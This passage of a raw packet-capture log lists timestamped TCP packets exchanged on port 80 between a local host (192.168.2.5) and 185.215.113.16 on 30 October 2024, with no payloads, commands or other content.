Oct 30, 2024 00:21:19.863456011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863459110 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863465071 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863477945 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863492012 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863501072 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863586903 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863598108 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863605976 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863615036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863626003 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863630056 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863642931 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863663912 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863717079 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863728046 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863764048 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863770962 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863774061 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863784075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863794088 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863796949 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863805056 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863816023 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863823891 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863825083 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863833904 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863843918 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863861084 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863873005 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863890886 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863940001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863950968 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863960981 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863976002 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863986015 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.863987923 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.863992929 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864001036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864006996 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864021063 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864027977 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864037991 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864042997 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864073038 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864094019 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864094973 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864105940 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864115953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864139080 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864151955 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864157915 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864164114 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864175081 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864185095 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864197016 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864200115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864221096 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864229918 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864237070 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864276886 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864281893 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864293098 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864303112 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864312887 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864326954 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864341021 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864346981 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864356995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864366055 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864394903 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864408970 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864521980 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864531994 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864541054 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864551067 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864557981 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864562035 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864573956 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864583015 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864588022 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864597082 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864604950 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864618063 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864635944 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864658117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864667892 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864696980 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864747047 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864758015 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864767075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864779949 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864782095 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864790916 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864797115 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864813089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864835978 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.864864111 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864875078 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.864908934 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865338087 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865370989 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865376949 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865381002 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865405083 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865417957 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865466118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865475893 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865484953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865494013 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865519047 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865534067 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865648031 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865657091 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865669012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865679979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865689993 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865700006 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865701914 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865709066 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865710974 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865720034 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865727901 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865731001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865746021 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865768909 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865888119 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865907907 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865916967 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865927935 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865931988 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865941048 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865943909 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865952969 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865962982 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865966082 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865973949 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.865974903 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.865995884 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866005898 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866147995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866158009 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866166115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866183043 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866190910 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866198063 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866204977 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866209030 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866219997 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866226912 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866230011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866240978 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866250038 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866255045 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866260052 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866264105 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866271019 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866280079 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866281986 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866292953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866302013 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866303921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866312027 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866314888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866328001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866334915 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866343021 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866364002 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866565943 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866576910 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866585016 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866595984 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866605043 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866609097 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866617918 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866628885 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866632938 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866638899 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866642952 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866651058 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866669893 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866672039 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866683960 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866698980 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866709948 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866722107 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866734028 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866761923 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866851091 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866862059 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866871119 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866882086 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866890907 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866918087 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.866978884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.866992950 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867002964 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867033958 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867047071 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867082119 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867090940 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867100954 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867111921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867125988 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867139101 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867156029 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867166042 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867175102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867197037 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867208004 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867278099 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867288113 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867296934 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867307901 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867321968 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867331028 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867331028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867331028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867341995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867347956 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867361069 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867376089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867492914 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867501974 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867510080 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867520094 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867528915 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867539883 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867542028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867551088 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867559910 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867568970 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867568970 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867571115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867580891 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867584944 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867598057 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867613077 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867736101 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867748976 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867758036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867768049 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867777109 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867783070 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867786884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867790937 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867798090 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867808104 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867815971 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867818117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867822886 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867827892 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867837906 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867857933 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867918015 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867928982 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867937088 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867947102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867955923 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867960930 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.867965937 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867975950 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.867980003 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868000031 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868010998 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868124962 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868134975 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868144035 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868153095 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868163109 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868165016 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868175983 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868185997 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868191004 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868199110 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868220091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868231058 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868338108 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868349075 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868356943 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868371010 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868381023 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868381977 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868391037 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868396997 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868402958 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868413925 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868423939 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868423939 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868434906 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868436098 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868447065 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868454933 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868457079 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868468046 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868469000 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868478060 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868484974 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868494987 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868499994 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868505001 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868510962 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868521929 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868541956 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868664026 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868673086 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868681908 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868691921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868702888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868721008 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868745089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868840933 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868870020 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868879080 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868887901 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868899107 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868911028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868916035 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868927002 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868928909 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868937016 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868941069 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868947983 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868957043 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868966103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868969917 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868976116 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868976116 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868988037 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.868992090 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.868999958 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.869009018 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.869009972 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.869025946 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.869045973 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.869210958 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.869221926 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.869230032 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.869240999 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.869251013 CET	80	59791	185.215.113.16	192.168.2.5
